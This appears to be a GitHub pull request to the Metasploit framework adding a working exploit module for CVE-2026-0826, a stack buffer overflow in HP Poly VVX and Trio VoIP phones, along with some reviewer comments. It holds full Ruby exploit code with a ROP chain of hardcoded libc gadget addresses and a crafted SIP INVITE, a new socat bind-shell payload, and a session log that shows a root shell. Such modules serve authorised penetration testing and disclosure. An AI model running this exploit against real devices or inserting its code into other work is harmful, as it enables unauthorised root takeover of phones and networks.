-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Exploit module for HP Poly VVX (CVE-2026-0826) #21525
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from 1 commit
99ba859
5bee499
9cfebe4
ef5795e
c31ac60
61a9870
a7fc1af
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,87 @@ | ||
| ## Vulnerable Application | ||
| CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting affect all | ||
| models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP | ||
| Conference series (Trio 8800, Trio 8500, and Trio 8300). A remote attacker can leverage CVE-2026-0826 to achieve | ||
| unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability is present | ||
| in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment | ||
| (ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a | ||
| remote attacker. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start msfconsole | ||
| 2. `use exploit/linux/misc/poly_unauth_rce_cve_2026_0826` | ||
|
|
||
| Configure the target: | ||
|
|
||
| 3. `set RHOST <TARGET_IP_ADDRESS>` | ||
|
|
||
| Configure the payload (This defaults to `cmd/unix/bind_socat_tcp`): | ||
|
|
||
| 4. `set PAYLOAD cmd/unix/bind_socat_tcp` | ||
| 5. `set LPORT 4444` | ||
|
|
||
| You can check if the target is vulnerable. | ||
|
|
||
| 6. `check` | ||
|
|
||
| Exploit the vulnerability and get a root shell. | ||
|
|
||
| 7. `exploit` | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Example 1 | ||
|
|
||
| Exploiting an HP Poly VVX 450 device running version `6.4.7.4477`. | ||
|
|
||
| ``` | ||
| msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > set RHOST 192.168.86.80 | ||
| RHOST => 192.168.86.80 | ||
| msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > show options | ||
|
|
||
| Module options (exploit/linux/misc/poly_unauth_rce_cve_2026_0826): | ||
|
|
||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| RHOSTS 192.168.86.80 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
| RPORT 5060 yes The target port (UDP) | ||
|
|
||
|
|
||
| Payload options (cmd/unix/bind_socat_tcp): | ||
|
|
||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| LPORT 4444 yes The listen port | ||
| RHOST 192.168.86.80 no The target address | ||
|
|
||
|
|
||
| Exploit target: | ||
|
|
||
| Id Name | ||
| -- ---- | ||
| 0 Automatic | ||
|
|
||
|
|
||
|
|
||
| View the full module info with the info, or info -d command. | ||
|
|
||
| msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > check | ||
| [*] 192.168.86.80:5060 - The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477 | ||
| msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > exploit | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [!] The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477 | ||
| [*] Started bind TCP handler against 192.168.86.80:4444 | ||
| [*] Command shell session 1 opened (192.168.86.122:33875 -> 192.168.86.80:4444) at 2026-06-02 11:59:28 +0100 | ||
|
|
||
| id | ||
| uid=0(root) gid=0(root) | ||
| date | ||
| Tue Jun 2 11:59:30 UTC 2026 | ||
| uname -a | ||
| Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown | ||
| pwd | ||
| /ffs0 | ||
| exit | ||
| [*] 192.168.86.80 - Command shell session 1 closed. | ||
| ``` | ||
| Original file line number | Diff line number | Diff line change | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,221 @@ | ||||||||||||||
| ## | ||||||||||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||||||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||||||||||
| ## | ||||||||||||||
|
|
||||||||||||||
| class MetasploitModule < Msf::Exploit::Remote | ||||||||||||||
| Rank = GreatRanking | ||||||||||||||
|
|
||||||||||||||
| prepend Msf::Exploit::Remote::AutoCheck | ||||||||||||||
| include Msf::Exploit::Remote::Udp | ||||||||||||||
|
|
||||||||||||||
| def initialize(info = {}) | ||||||||||||||
| super( | ||||||||||||||
| update_info( | ||||||||||||||
| info, | ||||||||||||||
| 'Name' => 'HP Poly Voice Unauthenticated Remote Code Execution', | ||||||||||||||
| 'Description' => %q{ | ||||||||||||||
| CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting affect all | ||||||||||||||
|
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. fixed in c31ac60. |
||||||||||||||
| models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP | ||||||||||||||
| Conference series (Trio 8800, Trio 8500, and Trio 8300). A remote attacker can leverage CVE-2026-0826 to achieve | ||||||||||||||
| unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability is present | ||||||||||||||
| in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment | ||||||||||||||
| (ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a | ||||||||||||||
| remote attacker. | ||||||||||||||
| }, | ||||||||||||||
| 'License' => MSF_LICENSE, | ||||||||||||||
| 'Author' => [ | ||||||||||||||
| 'sfewer-r7', # Discovery, Analysis, Exploit | ||||||||||||||
| ], | ||||||||||||||
| 'References' => [ | ||||||||||||||
| ['CVE', '2026-0826'], | ||||||||||||||
| ['URL', 'https://support.hp.com/us-en/document/ish_15052661-15052687-16/hpsbpy04083'], | ||||||||||||||
| ['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-0826-critical-unauthenticated-stack-buffer-overflow-hp-poly-vvx-trio-voip-phones-fixed/'] | ||||||||||||||
| ], | ||||||||||||||
| 'DisclosureDate' => '2026-06-01', | ||||||||||||||
| # While the target is an embedded Linux system, there is no curl/wget/ftp for the command payloads, so we | ||||||||||||||
| # only expose the Unix payloads. Only the socat payloads have been tested to work. | ||||||||||||||
| 'Platform' => 'unix', | ||||||||||||||
| 'Arch' => ARCH_CMD, | ||||||||||||||
| 'Privileged' => true, # /usr/local/root/polyapp runs as root | ||||||||||||||
| 'Targets' => [ | ||||||||||||||
| [ 'Automatic', {} ], | ||||||||||||||
| ], | ||||||||||||||
| 'DefaultTarget' => 0, | ||||||||||||||
| # NOTE: Tested with the following payloads: | ||||||||||||||
| # cmd/unix/bind_socat_tcp | ||||||||||||||
| 'DefaultOptions' => { | ||||||||||||||
| 'RPORT' => 5060, | ||||||||||||||
| 'PAYLOAD' => 'cmd/unix/bind_socat_tcp', | ||||||||||||||
| 'SocatPath' => '/usr/local/bin/socat', | ||||||||||||||
| 'BashPath' => '/bin/sh' | ||||||||||||||
| }, | ||||||||||||||
| 'Payload' => { | ||||||||||||||
| 'BadChars' => "\r\n\0 ", | ||||||||||||||
| 'Encoder' => 'cmd/ifs' | ||||||||||||||
| }, | ||||||||||||||
| 'Notes' => { | ||||||||||||||
| 'Stability' => [CRASH_OS_RESTARTS], | ||||||||||||||
| 'Reliability' => [REPEATABLE_SESSION], | ||||||||||||||
| 'SideEffects' => [IOC_IN_LOGS] | ||||||||||||||
| } | ||||||||||||||
| ) | ||||||||||||||
| ) | ||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| def check | ||||||||||||||
| connect_udp | ||||||||||||||
|
|
||||||||||||||
| sip_response, model_str, version_str = get_version | ||||||||||||||
|
|
||||||||||||||
| unless sip_response.nil? || model_str.nil? || version_str.nil? | ||||||||||||||
|
|
||||||||||||||
| version = Rex::Version.new(version_str) | ||||||||||||||
|
|
||||||||||||||
| description = "Poly #{model_str} version #{version_str}" | ||||||||||||||
|
|
||||||||||||||
| if version.between?(Rex::Version.new('6'), Rex::Version.new('6.4.7.4477')) | ||||||||||||||
|
|
||||||||||||||
| # NOTE: When we use "Require: ice" in the request, we get a "420 Bad Extension" response if ICE is enabled | ||||||||||||||
| # but not fully configured. The phone will still be exploitable. | ||||||||||||||
|
|
||||||||||||||
| if sip_response.start_with? "SIP/2.0 200 OK\r\n" | ||||||||||||||
| return Exploit::CheckCode::Appears(description) | ||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| return Exploit::CheckCode::Detected(description) | ||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| Exploit::CheckCode::Safe(description) | ||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| CheckCode::Unknown | ||||||||||||||
|
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. |
||||||||||||||
| ensure | ||||||||||||||
| disconnect_udp | ||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| def exploit | ||||||||||||||
| connect_udp | ||||||||||||||
|
|
||||||||||||||
| cmd = payload.encoded.to_s | ||||||||||||||
|
|
||||||||||||||
| unless datastore['PAYLOAD'] == 'cmd/unix/bind_socat_tcp' | ||||||||||||||
| print_warning('Only the unix socat payload cmd/unix/bind_socat_tcp has been verified to work') | ||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| vprint_status("cmd: #{cmd}") | ||||||||||||||
|
|
||||||||||||||
| _, model_str, version_str = get_version | ||||||||||||||
|
|
||||||||||||||
| fail_with(Failure::UnexpectedReply, 'Failed to get target version') unless version_str || model_str | ||||||||||||||
|
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. fixed in ef5795e |
||||||||||||||
|
|
||||||||||||||
| rop_table = nil | ||||||||||||||
|
|
||||||||||||||
| if model_str.downcase.include? 'vvx' | ||||||||||||||
| rop_table = get_vvx_rop_table(version_str) | ||||||||||||||
| else | ||||||||||||||
| fail_with(Failure::BadConfig, "No ROP table available for model #{model_str}") | ||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| fail_with(Failure::BadConfig, "No ROP table available for #{model_str} version #{version_str}") unless rop_table | ||||||||||||||
|
|
||||||||||||||
| vprint_status("ROP Table: #{rop_table}") | ||||||||||||||
|
|
||||||||||||||
| # we use system() which will do "/bin/sh -c <CMD>" for us. | ||||||||||||||
|
|
||||||||||||||
| attribute_name = 'a=candidate:' | ||||||||||||||
|
|
||||||||||||||
| overflow = attribute_name | ||||||||||||||
| overflow += 'A' * (256 - attribute_name.length) # fill the 256 byte stack buffer | ||||||||||||||
| overflow += 'B' * 19 # padding | ||||||||||||||
| overflow += '1111' # r4 | ||||||||||||||
| overflow += '2222' # r5 | ||||||||||||||
| overflow += '3333' # r11 | ||||||||||||||
| # .text:40A71454 POP {PC} | ||||||||||||||
| overflow += [rop_table[:libc_base] + rop_table[:libc_gadget1]].pack('V') # pc #1 - align stack (otherwise we are off by 4 and libc!fork will SIGSEGV during libc!system) | ||||||||||||||
| # .text:40B57C0C POP {R0-R3,PC} | ||||||||||||||
| overflow += [rop_table[:libc_base] + rop_table[:libc_gadget2]].pack('V') # pc #2 - set r3 to libc!system | ||||||||||||||
| overflow += 'CCCC' # r0 | ||||||||||||||
| overflow += 'CCCC' # r1 | ||||||||||||||
| overflow += 'CCCC' # r2 | ||||||||||||||
| overflow += [rop_table[:libc_base] + rop_table[:libc_system]].pack('V') # r3 - # .text:40A939C8 ; int __fastcall system(char *cmd) | ||||||||||||||
| # .text:40B41BF4 MOV R0, SP | ||||||||||||||
| # .text:40B41BF8 BLX R3 | ||||||||||||||
| overflow += [rop_table[:libc_base] + rop_table[:libc_gadget4]].pack('V') # pc #3 - set r0 == cmd, and call system(cmd) | ||||||||||||||
| overflow += cmd # &sp | ||||||||||||||
|
|
||||||||||||||
| _, udp_lhost, udp_lport = udp_sock.getlocalname | ||||||||||||||
|
|
||||||||||||||
| sdp_data = "c=IN IP4 #{udp_lhost}\r\n" | ||||||||||||||
| sdp_data += "m=audio #{rand(50_000..50_999)} RTP/AVP 0\r\n" | ||||||||||||||
| sdp_data += "a=rtpmap:0 PCMU/8000/1\r\n" | ||||||||||||||
| sdp_data += "#{overflow}\r\n" | ||||||||||||||
|
|
||||||||||||||
| call_id = Rex::Text.rand_text_hex(16) | ||||||||||||||
|
|
||||||||||||||
| cseq = rand(65_535) | ||||||||||||||
|
|
||||||||||||||
| sip_request = "INVITE sip:#{rhost}:#{rport} SIP/2.0\r\n" | ||||||||||||||
| sip_request << "Via: SIP/2.0/UDP #{udp_lhost}:#{udp_lport}\r\n" | ||||||||||||||
| sip_request << "Route: <sip:#{udp_lhost}:#{udp_lport};lr>\r\n" | ||||||||||||||
| sip_request << "From: <sip:#{rhost}:#{rport}>\r\n" # The From is the target ip, as this can appear in the UI as a missed call. | ||||||||||||||
| sip_request << "To: <sip:#{rhost}:#{rport}>\r\n" | ||||||||||||||
| sip_request << "Contact: <sip:#{rhost}>\r\n" | ||||||||||||||
| sip_request << "Call-ID: #{call_id}\r\n" | ||||||||||||||
| sip_request << "CSeq: #{cseq} INVITE\r\n" | ||||||||||||||
| sip_request << "Content-Type: application/sdp\r\n" | ||||||||||||||
| sip_request << "Content-Length: #{sdp_data.bytesize}\r\n" | ||||||||||||||
| sip_request << "\r\n" | ||||||||||||||
| sip_request << sdp_data | ||||||||||||||
|
|
||||||||||||||
| udp_sock.put(sip_request) | ||||||||||||||
| ensure | ||||||||||||||
| disconnect_udp | ||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| def get_version | ||||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. If we want to cache it
Suggested change
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. this was added via 61a9870. |
||||||||||||||
| _, udp_lhost, udp_lport = udp_sock.getlocalname | ||||||||||||||
|
|
||||||||||||||
| sip_request = "OPTIONS sip:#{rhost}:#{rport} SIP/2.0\r\n" | ||||||||||||||
| sip_request << "Via: SIP/2.0/UDP #{udp_lhost}:#{udp_lport}\r\n" | ||||||||||||||
| sip_request << "From: <sip:#{udp_lhost}:#{udp_lport}>\r\n" | ||||||||||||||
| sip_request << "To: <sip:#{rhost}:#{rport}>\r\n" | ||||||||||||||
| sip_request << "CSeq: #{rand(65_535)} OPTIONS\r\n" | ||||||||||||||
| sip_request << "Call-ID: #{Rex::Text.rand_text_hex(16)}\r\n" | ||||||||||||||
| # The vuln is in a non-default service for Interactive Connectivity Establishment (ICE). We use the Require header | ||||||||||||||
| # to ask the target is it supports ICE. | ||||||||||||||
|
sfewer-r7 marked this conversation as resolved.
Outdated
|
||||||||||||||
| sip_request << "Require: ice\r\n" | ||||||||||||||
| sip_request << "\r\n" | ||||||||||||||
|
|
||||||||||||||
| udp_sock.put(sip_request) | ||||||||||||||
|
|
||||||||||||||
| sip_response = udp_sock.get(udp_sock.def_read_timeout) | ||||||||||||||
|
|
||||||||||||||
| if !sip_response.empty? && sip_response =~ %r{User-Agent:\s*PolycomVVX-(VVX_\d+)-UA/([\d+.]+)}i | ||||||||||||||
| return sip_response, Regexp.last_match(1), Regexp.last_match(2) | ||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| [nil, nil, nil] | ||||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Could we follow the recommendation for the codebase, where we suggest using a Hash return type as opposed to an array? |
||||||||||||||
| end | ||||||||||||||
|
|
||||||||||||||
| def get_vvx_rop_table(version_str) | ||||||||||||||
| rop_tables = { | ||||||||||||||
| '6.4.7.4477' => { | ||||||||||||||
| # Even though /proc/sys/kernel/randomize_va_space is 1, all libraries are | ||||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Now I'm curious as to why ASLR doesn't work :D
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. So am I. The SO libraries like libc-2.8.so are compiled with PIE so I expected them to be randomized per-boot, but that never happened. I spent some time looking at the kernel to see if something obvious was present, but I want not able to identify the cause. |
||||||||||||||
| # mapped from 0x40000000, and libc ends up here. | ||||||||||||||
| libc_base: 0x40A5C000, | ||||||||||||||
| # .text:40A71454 POP {PC} | ||||||||||||||
| libc_gadget1: 0x15454, | ||||||||||||||
| # .text:40B57C0C POP {R0-R3,PC} | ||||||||||||||
| libc_gadget2: 0xFBC0C, | ||||||||||||||
| # .text:40A939C8 ; int __fastcall system(char *cmd) | ||||||||||||||
| libc_system: 0x379C8, | ||||||||||||||
| # .text:40B41BF4 MOV R0, SP | ||||||||||||||
| # .text:40B41BF8 BLX R3 | ||||||||||||||
| libc_gadget4: 0xE5BF4 | ||||||||||||||
| } | ||||||||||||||
| } | ||||||||||||||
|
|
||||||||||||||
| rop_tables[version_str] | ||||||||||||||
| end | ||||||||||||||
| end | ||||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. CI is complaining about adding a test for this file: |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,54 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| module MetasploitModule | ||
| CachedSize = :dynamic | ||
|
|
||
| include Msf::Payload::Single | ||
| include Msf::Sessions::CommandShellOptions | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| merge_info( | ||
| info, | ||
| 'Name' => 'Unix Command Shell, Bind TCP (via socat)', | ||
| 'Description' => 'Creates an interactive shell via socat', | ||
| 'Author' => 'sfewer-r7', | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => 'unix', | ||
| 'Arch' => ARCH_CMD, | ||
| 'Handler' => Msf::Handler::BindTcp, | ||
| 'Session' => Msf::Sessions::CommandShell, | ||
| 'PayloadType' => 'cmd', | ||
| 'RequiredCmd' => 'socat', | ||
| 'Payload' => { | ||
| 'Offsets' => {}, | ||
| 'Payload' => '' | ||
| } | ||
| ) | ||
| ) | ||
| register_advanced_options( | ||
| [ | ||
| OptString.new('SocatPath', [true, 'The path to the Socat executable', 'socat']), | ||
| OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']) | ||
| ] | ||
| ) | ||
| end | ||
|
|
||
| # | ||
| # Constructs the payload | ||
| # | ||
| def generate(_opts = {}) | ||
| vprint_good(command_string) | ||
| return super + command_string | ||
| end | ||
|
|
||
| # | ||
| # Returns the command string to use for execution | ||
| # | ||
| def command_string | ||
| "#{datastore['SocatPath']} tcp-l:#{datastore['LPORT']},fork exec:'#{datastore['BashPath']}'" | ||
|
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. i added a7fc1af for a bunch of improvements to this socat payload. tested to work on my HP Poly VVX 450 device. you now get an interactive login session which is nicer: All the socat payloads would benefit from a review and standardization across how they operate and the advanced options they can (or cannot) accept. |
||
| end | ||
| end | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
fixed in c31ac60.